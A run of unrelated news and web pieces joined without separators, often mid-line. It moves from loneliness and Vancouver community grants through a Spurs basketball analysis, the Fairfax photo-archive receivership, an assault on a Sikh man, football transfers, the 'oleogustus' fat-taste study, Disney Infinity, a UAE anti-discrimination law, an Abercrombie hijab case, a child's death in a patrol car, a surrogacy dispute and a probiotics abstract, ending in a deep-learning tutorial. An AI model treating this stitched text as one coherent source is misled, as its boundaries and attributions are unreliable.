Mr. Montgomery points to cities that have done things right, from Portland, Ore., turning its intersections into urban piazzas to the community gardens built in disused lofts in Berlin. Research has shown that a varied streetscape will cause people to slow down, and perhaps even exchange a smile or flirtatious glance, and that even a brief exposure to nature – cutting through a park – makes us feel more generous, and more social.
The Vancouver Foundation has another answer: It is giving out grants of $500 to people who will organize a community event that brings strangers together – a knitting circle, an origami workshop, a pumpkin-carving jamboree. Mr. McCort attended one gathering recently, and was struck by an unfamiliar sight: "No one was on their phone, or checking email. There were a hundred people, just talking and making new friends."
On a personal level, being lonely can seem crippling, and saying "just get out and make friends" is like telling an asthmatic to climb Mount Everest. Prof. Cacioppo notes that lonely people will either withdraw into their shells or attempt to soothe their pain by lashing out. The first step, he says, is to recognize and acknowledge painful feelings, and to try to make small advances each day – by smiling at a neighbour, or performing an unexpected kindness for a stranger.
David Sutcliffe says he forces himself to keep a busy social schedule, or he would never leave the house. Group therapy has been a huge help. He also is evangelical about sharing his story, to combat what he calls "society's tranquillity mask" – our tendecy to pretend that everything is swell, even when it isn't. He knows he speaks for those who can't or won't.
"There are a lot of people walking around who feel that they don't fit in, they don't belong. That sense of disconnection is really common. But when you realize that you're like everyone else, not only in your dreams and passions but also in your pain and sadness, there's incredible comfort in that."Danny Green has a problem. The man affectionately known as Icy Hot cannot find his rhythm. At this point, I'm not even sure he can find Pero Antic's rhythm. Green is currently mired in one of the worst shooting slumps of his career, a slump of such biblical proportions that only one stat can even begin to describe how bad it has been.
Of the players who have taken as many threes as Danny Green, there are only two that are shooting a worse percentage from deep : Nik Stauskas, and the one and only Kobe Bean Bryant (and if not for Stauskas shooting 0-8 from deep over his last two games, that list would include Kobe, and Kobe alone).
These are the depths to which Danny has begun to sink this season. In the hopes of better understanding what has gone so wrong, I have compiled a list of theories and researched each one individually. The results were... not pretty.
Theory #1: Danny Green does not get the same looks with LaMarcus Aldridge on the floor.
This is the most popular explanation for Danny's struggles, most likely because it is the easiest to point to. Fully extrapolated, the argument goes like this:
Danny Green was a knock-down three-point shooter last year. This year, the Spurs add LaMarcus Aldridge and Danny Green struggles. Ipso facto, LaMarcus Aldridge is the reason for Danny Green's struggles.
I sat down and subjected myself to watching every single shot that Danny has taken this year, both with LMA on the floor and off, and what I saw did not support this theory.
To be fair, Danny Green does shoot better when LaMarcus is on the bench (per Basketball-Reference.com), but even when they are not sharing the floor, Danny's three-point shooting is below league average. Also, he has a tendency to shoot a lot more twos with LMA off the floor, and we all know that this is not what the Spurs are paying him for. The thing is, the offense with Aldridge on the floor is still generating open (and sometimes wide open) shots for Danny, and he is flat-out missing them. So while the addition of Aldridge could have been a neat and tidy explanation, it is one that does not necessarily explain Green's struggles.
Theory #2: The Spurs are utilizing Danny Green differently this year, and he is taking shots in areas that he is unaccustomed to.
So maybe Danny is having to shift his positioning on the offensive end to accommodate Aldridge, and in turn is taking shots outside of his comfort zones? Not really. Thanks to the fantastic data available at NBAsavant.com, the following is a breakdown of Danny's three-point shot selection from last year as compared to this year (in a handy pie-chart format!):
2014-2015:
2015-2016:
* - For some reason, the 2-7 performance against the Raptors is not included in this data, but the next game against the Lakers is included.
While there are some minor differences, there is nothing so major that would lead us to believe that Green is having to significantly alter his shot selection from last year. I went through a number of plays from this year and last, specifically looking for instances that would go against this data - after all, the eye-test is sometimes more trustworthy than numbers on a sheet. (Did I just channel my inner-Byron Scott?) What I found was that Danny is actually being utilized quite similarly this year when compared to last.
This is Kawhi Leonard breaking down the Clippers defense in overtime of Game 2 of last year's playoffs:
And this is Kawhi Leonard breaking down the Hawks defense earlier this season:
From Game 7 last year against the Clippers - a simple pick and roll leading to a Danny 3:
And the mirror-image of this play against the Suns in November:
The Spurs' sets are not so different than they were last year, and neither are Danny's shots.
Theory #3: Sure, Danny might be getting similar shots this year, but maybe they are not quite as "open" as they were last year.
This is the theory that I was leaning towards before diving into this piece. For an NBA shooter, the difference between being open and having your shot contested could be a matter of inches. Again, using the data at NBAsavant.com, I took a look at what percentage of Green's threes were defined as "uncontested" (that is, the nearest defender being outside of four feet from the shooter) and "wide open" (a defender outside of six feet from the shooter), and how he shot in these situations.
Last year, 82.3% of Danny's three point attempts were taken with a defender outside of four feet. This year? 82.9%. Though we can quibble about whether or not the definition of "uncontested" qualifies as a shot not actually being contested, we cannot quibble about the results:
Shot Chart, Defender 4+ feet:
In terms of "wide open" three point attempts, Danny is seeing slightly less this year - 41.9% of his attempts as opposed to 44.2% last season. But again, the comparative shot chart is alarming:
Shot Chart, Defender 6+ feet:
The Spurs offensive machine is still generating open looks on a consistent basis for Green, and Pop is still calling plays for him. Take this instance from the Sixers game, when everyone and their mother was putting points on the scoreboard:
Theory #4: So if Danny Green is still getting a similar amount of open threes from similar spots on the floor, then he must be rushing these shots.
As I watched Danny Green three after Danny Green three, I thought to myself, "Man, he takes a lot of threes in early shot-clock situations. Maybe he's pressing." Nope. The percentage of three-point attempts he's taken with 16 or more seconds on the shot-clock this year as compared to last is also negligible:
2014-2015: 32.2%
2015-2016: 32.4%
So maybe this is all mental. Maybe this is like an NFL kicker who misses an early kick, then psychs himself out when the next opportunity arises. Whatever the reason, we better hope that Danny Green and the Spurs figure it out, because this leads me to the biggest issue that is not being addressed nearly enough when discussing Green's struggles...
Fact: This season the Spurs are significantly better on both ends of the court when Danny Green sits.
We know what Danny Green is capable of. He is a well-above average perimeter defender, and until this season, a lethal three-point shooter. The Spurs, however, have been much better this season when Danny Green is not on the floor. These are the per-48-minute +/- splits for this year and last, with Green on the floor and off:
2014-2015:
Danny Green on the floor: 103.6-94.6 (+9.0)
Danny Green off the floor: 99.2-97.0 (+2.2)
2015-2016:
Danny Green on the floor: 97.8-91.3 (+6.5)
Danny Green off the floor: 103.5-86.4 (+17.1)
That is pretty damning evidence that something, somewhere, is very wrong.
When taking the long view, Danny Green is still very important to what the Spurs are doing, both on offense and on defense. But to get to where the Spurs want to go, and become a legitimate challenger to the behemoth that is the Golden State Warriors, we all have to hope that this is just an extended stay for the "Icy" version of Danny Green, and that the "Hot" incarnation is waiting just around the corner.
* - Special thanks to Daren Willman at NBAsavant.com for allowing the use of his awesome data. Check out his site, post-haste!Fairfax Media's valuable photo archives under threat after Rogers Photo Archive goes into receivership
Updated
It seemed like a brilliant deal for Fairfax Media, which had to find a way to save its valuable archival photos from deteriorating but could not spend a fortune doing it.
Rogers Photo Archive in Little Rock, Arkansas, offered the solution.
That company would digitise the photos, add metadata for easy searching and then return an online accessible version to Fairfax — taking an ageing and deteriorating archive and giving the cash-strapped media company a digital library in return.
For its efforts Rogers Photo Archive would be able to sell the originals and make a profit. Except it did not.
Documentary maker David Hoffman sold three films to Rogers Photo Archive for $325,000 to help finance further work.
He gave me a bunch of cheques and I would cash one each month and then in February 2014 they started bouncing and one bounced and then another bounced. Documentary maker David Hoffman
But the money ran out before the contract was fulfilled.
"John Rogers said he was making $125,000 a week off eBay and it didn't sound right to me. I didn't know anybody that could sell old photos and make that kind of money," Hoffman said.
Fairfax had signed its deal in March 2013. The photos were shipped over in September that year.
Just months later, the FBI raided the warehouses in Little Rock over allegations of sports memorabilia fraud and questions were being asked about the financial health of Rogers Photo Archive.
Arkansas Business senior editor George Waldon was following the trail.
"Behind the scenes things were starting to come apart at the seams in John's world," he told the ABC last week in Little Rock.
"Unfortunately for Fairfax, the timing for their deal was right ahead of the FBI publicly opening their probe into the business affairs and it all came tumbling down."
Fairfax photos listed for sale on eBay
Bushes now grow over the path of the warehouse at 2501 North Poplar Street. Paint peels off the side of the building.
Next door there is a newer building in this industrial area but both are devoid of any markings apart from the "For Sale" sign outside.
This is where Fairfax's photo archive has been left in limbo — part of a court battle involving at least a dozen different people and organisations.
Hoffman is one of them.
"He gave me a bunch of cheques and I would cash one each month and then in February 2014 they started bouncing and one bounced and then another bounced," he said.
Rogers Photo Archive is now in the hands of receiver Michael McAfee, who was appointed by the court.
Fairfax's valuable images are locked away under 24-hour surveillance and any digitising work has been suspended.
It is more than two years since the contract was first signed and 18 months since the photos were sent abroad.
This has become an extraordinarily complex situation that Fairfax must be deeply regretting.
It is unclear during the time of the receivership and before how many items of Fairfax Media property may have been sold for her direct benefit. Receiver Michael McAfee first quarterly report
The receiver's first quarterly report makes for fascinating reading.
Mr McAfee details his concerns that Fairfax photos were already being sold on eBay before the contract and digitising had been completed.
The New Zealand government had signed an exemption to allow the export of the photos under the Protected Objects Act.
"In late March [2015] the receiver discovered that over 1,000 items related to Fairfax Media were being listed for sale by Angelica Rogers [John Rogers' ex-wife]," the report says.
"Some of the items listed related to the New Zealand archive. This selling of New Zealand items is a direct violation of New Zealand Protected Objects Act and might warrant further action by the New Zealand government.
"After the discovering of this fact all items were picked up that day and it was found that her inventory was in excess of 97,000 photos.
"The initial estimate given by her of her inventory was approximately 25,000 photos.
"It is unclear during the time of the receivership and before how many items of Fairfax Media property may have been sold for her direct benefit."
'John has a reputation as a super seller'
A spokesman for New Zealand's ministry for culture and heritage, Tony Wallace, told the ABC it was the worst possible outcome.
"Obviously we're not happy with the way things have transpired," he said.
"The decision to grant an export order was made in good faith at the time on the information available.
He's a master. You read about these kind of people. He could talk you into buying the Brooklyn Bridge. Documentary maker David Hoffman
"We've got to balance that up with the need to have a digitisation job done.
"If you leave images permanently there's the probability they will eventually degrade.
"So it's important to have a strategy to get the images digitised, but obviously the outcome that's occurred is not the one that anyone wants and that's really, really sad."
Mr Rogers first attracted attention when he bought the rare Honus Wagner collectors baseball card for $US1.65 million.
"John has a reputation as a super seller, he's a fast talker, he's smart, he's gregarious. Charismatic even, some say. He was able to get into some very interesting doors to do business with," Waldon said.
Mr Rogers lived a large life in Little Rock with a mansion on the waterfront — which is now up for sale for $US2.5 million — and a beautiful wife.
Hoffman agreed he was an excellent salesman.
"First of all he is one hell of a good talker and your people will attest to that too. He is a superb salesman. I really liked him. Really colourful. Sweet and kind and in love with old objects and history and photography and things I admired," he said.
"But he's a master. You read about these kind of people. He could talk you into buying the Brooklyn Bridge."
Historical photos unlikely to be returned 'for some time'
Other newspaper companies also entrusted Rogers Photo Archive with their materials.
The Alaska Dispatch and Digital First Media contracts have not been completed either.
This story could be a movie. It's got everything. David Hoffman
But the Fairfax deal is the most valuable and finding a solution is the top priority for the receiver.
The Age newspaper has had its photos returned to Australia.
But images from The Sydney Morning Herald and New Zealand publications remain in Little Rock — at least those that the receiver can be confident have not been sold.
Former Sydney Morning Herald editor-in-chief Peter Fray said the photographs are enormously important to the nation's history.
"In this case, perhaps there is a case for the Government to get involved to protect the national heritage," he said.
"I know it's been in private hands, I know it's a private resource, but really in the broader sense it's part of our national identity."
Mr Wallace said the New Zealand government continued to express its concern about the situation and was continually monitoring reports.
He says they are focusing their energies on getting the protected, historical photos back to New Zealand but admitted "it could take some time".
"This story could be a movie," Hoffman said.
"It's got everything."
Topics: arts-and-entertainment, art-history, photography, visual-art, fine-art-photography, united-states
First postedAn 80-year-old Sikh man was brutally beaten up by a young woman in Coventry, UK.
The man was reportedly making his way along a city centre street when the woman set on him. The unidentified thug spat in his face and left him sprawled on the pavement.
In the sickening and apparently unprovoked melee, the man's turban came off. The attack was filmed by a passerby on his cellphone and shared on social networking site Facebook.
The police are looking for the attacker and are treating it as a malicious and punishable attack which can get the woman up to five years in prison.
The video shows the woman repeatedly punching the elderly man while being surrounded by three of her cronies. The only person who helped the old man by picking up his turban approached even as the thugs walked away.
The police say that the man has been left with a bloodied nose and a black eye.The last link in our Listener Week "Chain," Hannah Daisy, chosen by the musician Catherine Anne Davies, who was inspired by her work in mental health and her creativity in addressing anxiety. Jen, Cath and Angela, The Hayes Sisters - a musical trio from Manchester - talk about making time for music alongside their full time careers and families. Susan Fletcher highlights Huntington's disease and the impact it's had on her and her family's life alongside Consultant neurologist and Huntington's disease researcher Ed Wild. Val Barron tells us why school holidays can be stressful for some families on low incomes. She's a development worker for Communities Together Durham and joins Jenni alongside Sara Brysons a policy advisor at Children North East to look at what help's available. Plus the work of Emma Bannister and her award winning PMS Garden.
Presenter Jenni Murray
Producer Beverley Purcell
Guest; Hannah Daisy
Guest; The Hayes Sisters - Jen, Cath and Angela.
Guest; Sara Bryson
Gueat; Val Barron.THE players involved in the recent exodus from Leeds United to Norwich City were told one thing by the supporters they left behind – that Leeds would pass them on their way back down from the Premier League.
United are lodged as firmly in the Championship as they were on the days when Norwich used their superior wealth to prise Bradley Johnson, Jonathan Howson, Robert Snodgrass and Luciano Becchio from Elland Road but City will join them next season, resigned to a relegation which could bring the spine of Leeds’ 2010-11 squad back to West Yorkshire.
Norwich lie three points short of safety in the Premier League with one game to play this weekend and the club’s goal difference effectively confirmed that they would be relegated after Sunderland beat West Bromwich Albion on Wednesday night.
Their three seasons in the top flight relied to a degree on a transfer policy at Carrow Road which involved picking gems out of Leeds United’s squad.
Johnson was the first to go from Elland Road in 2011 and Howson and Snodgrass moved in the same direction before the start of the 2012-13 season. Becchio’s sale in 2013 continued a demoralising trend.
In total, Leeds raked in fees of more than £5million and took Steve Morison as part of Norwich’s purchase of Becchio but the impact of that money was never felt. Fifteenth in the Championship, as United ranked this term, is their worst finish since promotion from League One in 2010.
Johnson, Howson, Snodgrass and Becchio were four prongs of Leeds’ classy attack during the season that followed.
The club finished a wasteful seventh in the Championship having held second place at Christmas and a play-off position with less than a month of the term to go.
Jon Newsome, the retired defender who left Leeds for Norwich in 1994, said the beeline of players from Elland Road to Carrow Road was an obvious explanation for United’s struggle to escape from the Championship.
“They aren’t the sort of players a club like Leeds should be selling,” Newsome said.
“They’re the sort of players a club like Leeds should be building around.
“There are times when it makes sense to do a deal or take the money but if that money is only being used to balance the books, you’ll never go anywhere as a team.
“That group at Norwich could have had a huge impact for Leeds this season and it’s easy to understand the frustration at Elland Road. With most of those deals, Leeds really came off second best.”
Becchio could be seen as the exception to that rule, a striker who scored goals consistently for Leeds but has been isolated and under-used by Norwich.
The Argentinian is known to be unhappy with his lack of involvement at Carrow Road and cryptically tweeted “I don’t understand anything” after Norwich drew 0-0 at Chelsea on Sunday – a match in which he failed to make the bench.
Others around him have fared better. Johnson’s Premier League appearances total 96 and Howson has featured regularly. Snodgrass, a full-fledged Scotland international, has been arguably Norwich’s best player this season, a view which should be reflected by the club’s end-of-season awards.
The likelihood of Snodgrass turning out for Norwich at Elland Road next season is doubtful, however. He has been heavily linked with Celtic, the side he followed as a youngster, and made it clear that he would consider his future if City went down.
“What division we’re in will be relevant,” Snodgrass said. “If things go according to plan and we stay in the Premier League, I’ll have a year left and I’ll honour that.
“The Premier League is where it’s at and I’d be lying if I said anything other than that.”
Newsome said: “You never know how players will feel when push comes to shove.
“I was relegated with Norwich but back then a lot of us felt the urge to stick around. It’s okay pointing fingers or claiming that you did your bit but when a club get relegated, responsibility falls on everyone without exception. Some players feel inclined to stay and put it right.
“It’s hard to say what will happen with Snodgrass but I know he’s a good player, one of Norwich’s best this season. He’ll cost a bit of money but Premier League clubs could be tempted so perhaps Norwich will find that what happened to Leeds, happens to them now.”
• Keep abreast of news from your club, plus complete live match data and stats, with our new FREE apps. Versions for iPhone and Android.Writing in the journal Chemical Senses, the US-based researchers noted that whilst ‘considerable’ data has indicated that fat may be a sixth basic taste, evidence demonstrating that the sensation of nonesterified fatty acids (NEFA) - which are the proposed stimuli for ‘fat taste’ – provide a different taste has been lacking until now.
"The taste component of fat is often described as bitter or sour because it is unpleasant, but new evidence reveals fatty acids evoke a unique sensation satisfying another element of the criteria for what constitutes a basic taste, just like sweet, sour, salty, bitter and umami,” said Professor Richard Mattes of Purdue University – who led the study.
Using perceptual mapping techniques, the team demonstrated that NEFA have a taste sensation that is distinct from the other basic tastes. However, Mattes warned that the taste of fat should not be confused with the feel of fat, which is often described as creamy or smooth.
"Most of the fat we eat is in the form of triglycerides, which are molecules comprised of three fatty acids," he said. "Triglycerides often impart appealing textures to foods like creaminess. However, triglycerides are not a taste stimulus. Fatty acids that are cleaved off the triglyceride in the food or during chewing in the mouth stimulate the sensation of fat."
"Fatty taste itself is not pleasant. When concentrations of fatty acids are high in a food it is typically rejected, as would be the case when a food is rancid,” Mattes added.
The team proposed that the new taste, which would be the sixth basic taste, should be referred to as ‘oleogustus’.
“By building a lexicon around fat and understanding its identity as a taste, it could help the food industry develop better tasting products,” said Mattes.
Fat study
Because there are no familiar words to ask people to use to describe the taste of fat, the 102 study participants were given multiple cups of solutions each containing a compound that tastes salty, sweet, umami, bitter, sour or fatty.
Participants were asked to sort the solutions into groups based on which had similar taste qualities. Odor, texture and appearance were all controlled by the team to ensure they matched.
Mattes and his colleagues revealed that the panellists easily segregated sweet, salty and sour samples, confirming they understood the task.
Initially, the fatty samples were grouped with bitter because bitter is the vernacular descriptor for unpleasant taste sensations.
However, when asked to sort samples including bitter, umami and fatty stimuli, panellists grouped the fatty acids together and separately from the other samples, Mattes said.
“Although some overlap was observed between these NEFA and umami taste, this overlap is likely due to unfamiliarity with umami sensations rather than true similarity,” said the authors.
“Shorter chain fatty acids stimulate a sensation similar to sour, but as chain length increases this sensation changes,” they added. “Fat taste oral signalling, and the different signals caused by different alkyl chain lengths, may hold implications for food product development, clinical practice, and public health policy.”
While more testing will need to be done before oleogustus can officially join the taste family, these results could be the first step to fat being recognised as a taste in its own right, the authors said.
Indeed, Mattes and his colleagues are also analysing data from more than a thousand participants in a study related to the genetics of fat taste at the Denver Museum of Nature & Science's Genetics of Taste Lab.
Source: Chemical Senses
Published online ahead of print, doi: 10.1093/chemse/bjv036
“Oleogustus: The Unique Taste of Fat”
Authors: Cordelia A. Running, Bruce A. Craig, Richard D. MattesLOS ANGELES — The introduction of Disney Infinity, an ambitious video game and toy initiative, has been pushed from June to late August, a retail window that Disney said on Wednesday was more favorable.
But the delay also shifts Infinity from Disney’s fiscal third quarter to its fourth, meaning that any chance of a turnaround at the company’s video game unit will occur later than some investors expected.
Infinity will now reach stores on Aug. 18 in North America and on Aug. 20 overseas, said John Pleasants, co-president of Disney Interactive, in a telephone interview. A June rollout had been planned, pegged to the release of Pixar’s “Monsters University.”
Mr. Pleasants said retailers, impressed with the public reaction to Disney’s demonstration of Infinity in January, pushed for an introduction closer to the all-important holiday season, which starts in October. “The date became an issue in terms of them asking, ‘Is there a better opportunity here?’ ” Mr. Pleasants said.
There may also be competitive reasons for the August date. Disney hopes that Infinity will be its version of Skylanders, a popular product from Activision Blizzard in which players collect action figures and then transfer them into the game’s action by plugging them into a sensor base. Skylanders has generated more than $1 billion in sales since its 2011 arrival; about 100 million of its toys have been sold.
The next edition of Skylanders is scheduled to arrive in stores this fall. Mr. Pleasants downplayed comparisons, but said, “We think it’s good to be first and really lean into the most important selling season of the year.”
August is traditionally a quiet time for video games as families spend money on vacations and back-to-school clothes. But Mr. Pleasants said retailers were willing to devote significant shelf space to the Infinity product line. Disney also hopes that children will return to school with the Infinity action figures in their backpacks, leading to trading.
It is not unusual for video game studios to push back release dates, but the reason usually involves glitches and missed deadlines. Mr. Pleasants insisted that was not the case here.
“We could deliver in June if we wanted to,” he said, adding: “Will a two-month timing change help us? Sure, of course. It gives us a little more time to add bells and whistles and make sure it really sings and pops.”
Robert A. Iger, Disney’s chief executive and chairman, told Wall Street analysts and investors in May that “we’re targeting 2013 as a year of profitability” for Disney Interactive. He technically fulfilled that pledge in the last quarter; Disney’s video game and Web business turned an operating profit of $9 million after 16 consecutive quarters of losses.
But most people interpreted Mr. Iger’s remark to mean that the unit, Disney’s smallest by far, would make money for the fiscal year, which ends in mid-September. There is now little chance of that, as revenue from Infinity will be mostly pushed into 2014. “This will definitely impact our goal of achieving profitability for the year,” Mr. Pleasants said.A law criminalising all forms of discrimination on the grounds of religion, caste, creed, doctrine, race, colour or ethnic origin is issued following a decree by President Sheikh Khalifa.
ABU DHABI // The law criminalising all forms of discrimination on the grounds of religion, caste, creed, doctrine, race, colour or ethnic origin was enacted on Monday.
The Anti-Discriminatory Law, issued following a decree by President Sheikh Khalifa, criminalises any acts that stoke religious hatred and/or which insult religion through any form of expression.
This covers speech and the written word, books, pamphlets or via online media. The law also includes provisions for punishing anyone for terming other religious groups or individuals as infidels, or unbelievers, according to state news agency Wam.The law is intended to provide a “sound foundation for the environment of tolerance, broad mindedness and acceptance in the UAE and aims to safeguard people regardless of their origin, beliefs or race, against acts that promote religious hate and intolerance”.
Penalties for violation of the provisions of the law include jail terms ranging from six months to more than 10 years and fines from Dh50,000 to Dh2 million.
The law prohibits any act that would be considered as insulting God, his prophets or apostles or holy books or houses of worship or graveyards. It also has provisions to fight discrimination against individuals or groups on the basis of religion, caste, doctrine, race, colour or ethnic origin.
The law condemns actions that would comprise hate speech or the promotion of discrimination or violence against others using any form of media, including online, print, radio or visual media.
Wam reported: “Strict action will be taken against any form of expressions of hatred or incitement to hate crimes spread in the form of speech and published media. “The law also criminalises any act that amounts to abuse of religion or vandalism of religious rituals, holy sites or symbols, and takes a serious view of violence on the basis of religious doctrines.
“The law prohibits any entity or group established specifically to provoke religious hatred and recommends stringent punishments for groups or supporters of any organisations or individuals that are associated with hate crimes.
“It also bars any kind of events such as conferences and meetings within the UAE organised with the sole purpose of sowing seeds of discrimination, discord or hatred against individuals or groups on the basis of faith, origin or race. Receiving financial support for such activities is also punishable under the new law.
“The law encourages anyone involved in any activity that violates the law to voluntarily submit themselves before the authorities and has provisions allowing the courts to waive penalties in such cases.
“The new law does not contradict with any other existing laws meant to protect specially privileged groups in the society such as women, children and individuals with disabilities or others.”
[email protected] matter of aesthetics or going against company policy?
dailymail.co.uk: A Muslim woman is taking Abercrombie & Fitch to court after she was allegedly fired from her job for wearing a religious headscarf.
The woman, who has not been named, claims bosses told her the hijab didn’t fit with the firm’s ‘look policy’ – even though she worked in the stockroom.
She was employed for several months at a California branch of Hollister Co, a subsidiary of the Abercrombie clothing chain.
For anyone who has ever set foot in an Abercrombie Fitch store the overwhelming aesthetic of their stores is that of beautcious young boys flanking the aisles and the sundry of posters beseeching us with their purported idealized beauty and youth- something management is careful to cultivate in the hope that you too buy into it. Something that may if one ponders over it a moment could conceivably clash with that of a woman wearing a religious headscarf. Never mind if she is kept deep in the stock room. Or does it?
The company has become well-known for its controversial ‘look policy’, which provides strict guidelines governing how employees dress.
It stipulates that staff must represent ‘a natural classic American style’ and instructs them on everything from how to wear their hair (clean and natural) to how long they should wear their nails (a quarter of an inch past the end of the finger).
Is there such a law that mandates how long ones nails are at work or whether they are allowed to wear fingernail polish or not? Are such aesthetic demands legally enforceable? Furthermore why would someone who is aware of such aesthetics choose to work at such a venue, but then again why shouldn’t they? Furthermore did it just occur to management that the woman in question just started wearing hibabs this morning? Surely they could have come up with some sham reason (as is one is inclined to wonder is the norm) not to have taken her on in the first place?
Her lawyers claim: ‘She was told that her headscarf, though worn based on a religious mandate, was not in compliance with the company’s “look policy”.’
Her contract was allegedly terminated in February 2010 after she refused to remove the hijab.
Look policy? Does that suggest a corporates look policy has precedence over ones own private religious customs. What if she had taken out a rug and started praying to Allah at lunchtime is that something that would have offended the look policy too? Or is it case of discrimination because she happens to be Muslim? Or to say it in a more diplomatic way management weren’t necessarily enthused when the woman in question made it a practice of exhibiting her private beliefs on their time? Would they have thought that too if instead she was a he dressed in conservative Hasidic regalia, or would that have been overlooked, cause it’s really Muslims we are never quite sure what to do with?
The suit will be filed in San Francisco on Monday, in conjunction with another case that has already been brought against Abercrombie & Fitch by the U.S. Equal Employment Opportunity Commission.
Representatives for the chain were not immediately available for comment.
Isn’t it time you applied for a job at Abercrombie and Fitch too?
FRENCH MUSLIM WOMEN ARRESTED FOR DEFYING BAN ON HEAD GARB.
It’s confirmed Abercrombie and Fitch wont hire you either unless you are drop dead gorgeous.Officer Cassie Barker and Sgt. Clark Ladner
A Mississippi police officer who left her 3-year-old to die in a patrol car while she “visited” with another officer had been previously disciplined for similar conduct.
Chief Wayne McDowell, of Long Beach police, declined to describe the previous incident but said Officer Cassie Barker had been suspended last year for one week without pay for the conduct violation, reported the Sun Herald.
The 27-year-old Barker left her daughter alone in the police cruiser Friday while she went into the home of her shift supervisor, Sgt. Clark Ladner, after working together overnight.
The child, Cheyenn Hyer, was found unresponsive and pronounced dead at a nearby hospital.
Barker and the 36-year-old Ladner were placed on administrative leave without pay during the investigation, which remains underway.
“Somebody is going to be accountable for the baby’s death,” said Glenn Grannan, the chief investigator for Hancock County. “There isn’t a reason so far that has happened that would indicate that Cassie wouldn’t be held accountable in some way under the guidelines of Mississippi’s criminal code, but it’s our responsibility is to look at all the information.”
McDowell, the police chief, said Barker had previously been disciplined in May 2015, less than a year after she joined the police department as a rookie, after she was cited for conduct unbecoming of a police officer and failure to abide by all laws in any city, state or municipality.
He said that case was “pertinent” to the investigation into her daughter’s death, but he declined to say how.
The chief said Ladner called him and asked him to send an officer from the department because “a bad situation” had happened at his house, but McDowell believes that call came after the pair called 911.
The department allows officers to transport children on their way to and from work, but Ladner said Barker showed up unannounced after their shift, and he didn’t realize the girl was strapped in her car seat in the vehicle.
“It’s very upsetting all the way around,” McDowell told the newspaper, as his eyes welled with tears. “It’s such a sad and tragic situation that should have never occurred. She was a very happy, joyful, little girl.”
He said the other officers in his department, which has 49 employees and 34 sworn police officers, were angry at Ladner and Barker, who
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upfront before we left. We had $40,000 in the bank to get us home, which is ample," David Beard told TV NZ.
"We've got two days left paid at our hotel. We're desperate. We need airfares to Mexico City, we need to pay for passports, our baggage is huge." "We have been stuffed by this agency vanishing with the money, and by this clinic with the $108,000 gone."
TVNZ
Mexico recently banned international surrogacy for gay couples. However, as the two surrogate mothers were already pregnant when the law came into effect, the Beards were told they would be able to return to New Zealand with their children.
The Beards have hired lawyer Margaret Casey to help untangle the legal quagmire they and their children are now in.
David, who is a lawyer, told stuff.co.nz that his experience should be a warning to others using international surrogacy agencies.
"If the combination of David Beard and Margaret Casey QC can suffer this kind of conduct then the whole nation should fear for other prospective surrogacy parents who, whether gay or straight, are desperate for children – because this level of desperation is what the international surrogacy agencies bank on." The New Zealand government is aware of the Beards' situation, and has provided advice to the couple. "[International surrogacy cases] can be highly complicated, involving other countries' laws and procedures and involve a high degree of uncertainty," said Paula Attrill, director of international casework in the NZ Ministry of Social Development. "The children are Mexican citizens. They require Mexican passports to travel. They also require exit visas from Mexico and cannot travel without a passport or the required visas." "These matters can take some time to work through." Attrill said that the Ministry of Social Development will be able to work with the Beards once they return to New Zealand and lodge an application to adopt the children through the NZ Family Court. Grace Nixon, a friend of the family, has started a fundraising page in an attempt to help the new fathers through this crisis.OBJECTIVE:
To assess the efficacy of probiotic therapies on body weight and BMI using a meta-analysis of randomized, controlled trials.
METHODS:
Twenty studies with 25 trials (1931 participants with age over 18 years) were included. The pooled WMD was calculated by random effects model.
RESULTS:
Probiotic consumption significantly reduced body weight by 0.59 kg (95% CI, 0.30-0.87) and BMI by 0.49 kg/m(2) (95% CI, 0.24-0.74). A greater reduction in BMI was found with multiple species of probiotics. Subgroup analysis of trials with intervention duration ≥8 weeks found a more significant reduction in BMI. Limiting analysis to trials with a baseline BMI ≥25 kg/m(2) showed a greater reduction in BMI.
CONCLUSION:
Consuming probiotics could reduce body weight and BMI, with a potentially greater effect when multiple species of probiotics were consumed, the duration of intervention was ≥8 weeks, or the objects were overweight.This post is part of the series on Deep Learning for Beginners, which consists of the following tutorials :
In this post we will learn how to use pre-trained models trained on large datasets like ILSVRC, and also learn how to use them for a different task than it was trained on. We will be covering the following topics in the next three posts :
Image classification using different pre-trained models ( this post ) Training a classifier for a different task, using the features extracted using the above-mentioned models – This is also referred to Transfer Learning. Training a classifier for a different task, by modifying the weights of the above models – This is called Fine-tuning.
What is ImageNet
ImageNet is a project which aims to provide a large image database for research purposes. It contains more than 14 million images which belong to more than 20,000 classes ( or synsets ). They also provide bounding box annotations for around 1 million images, which can be used in Object Localization tasks. It should be noted that they only provide urls of images and you need to download those images.
What is ILSVRC
ImageNet Large Scale Visual Recognition Challenge ( ILSVRC ) is an annual competition organized by the ImageNet team since 2010, where research teams evaluate their computer vision algorithms various visual recognition tasks such as Object Classification and Object Localization. The training data is a subset of ImageNet with 1.2 million images belonging to 1000 classes. Deep Learning came to limelight in 2012 when Alex Krizhevsky and his team won the competition by a margin of a whooping 11%. ILSVRC and Imagenet are sometimes used interchangeably.
Why use pre-trained models?
Allow me a little digression.
Imagine two people, Mr. Couch Potato and Mr. Athlete. They sign up for soccer training at the same time. Neither of them has ever played soccer and the skills like dribbling, passing, kicking etc. are new to both of them.
Mr. Couch Potato does not move much, and Mr. Athlete does. That is the core difference between the two even before the training has even started. As you can imagine, the skills Mr. Athlete has developed as an athlete (e.g. stamina, speed and even sporting instincts ) are going to be very useful for learning soccer even though Mr. Athlete has never trained for soccer.
Mr. Athlete benefits from his pre-training.
The same holds true for using pre-trained models in Neural Networks. A pre-trained model is trained on a different task than the task at hand but provides a very useful starting point because the features learned while training on the old task are useful for the new task.
We have seen earlier that we can create and train small convolutional networks ( CNNs ) to classify digits ( using MNIST ) or different objects ( using CIFAR10 ). These small networks fall short when there are many classes and the objects vary in size / shape / appearance etc, as the model lacks the complexity which is required to model such large variations in data.
Even though it is possible to model any function using just a single hidden layer theoretically, but the number of neurons required to do so would be very large, making the network difficult to train. Thus, we use deep networks with many hidden layers which try to learn different features at different layers as we saw in the previous post on CNNs.
Deep networks have a large number of unknown parameters ( in millions ). The task of training a network is to find the optimum parameters using the training data. From linear algebra, we know that in order to solve an equation with three unknown parameters, we need three equations ( data ). And, if we know only two equations, we can get exact values of maximum 2 parameters and only an approximate value for the 3rd unknown parameter.
Similarly, for finding all the unknown parameters accurately, we would need a lot of data ( in millions ). If we have very few data, we will get only approximate values for most of the parameters, which we don’t want. Moral of the story is
For Deep Networks – More data -> Better learning.
The problem is that it is difficult to get such huge labeled datasets for training the network.
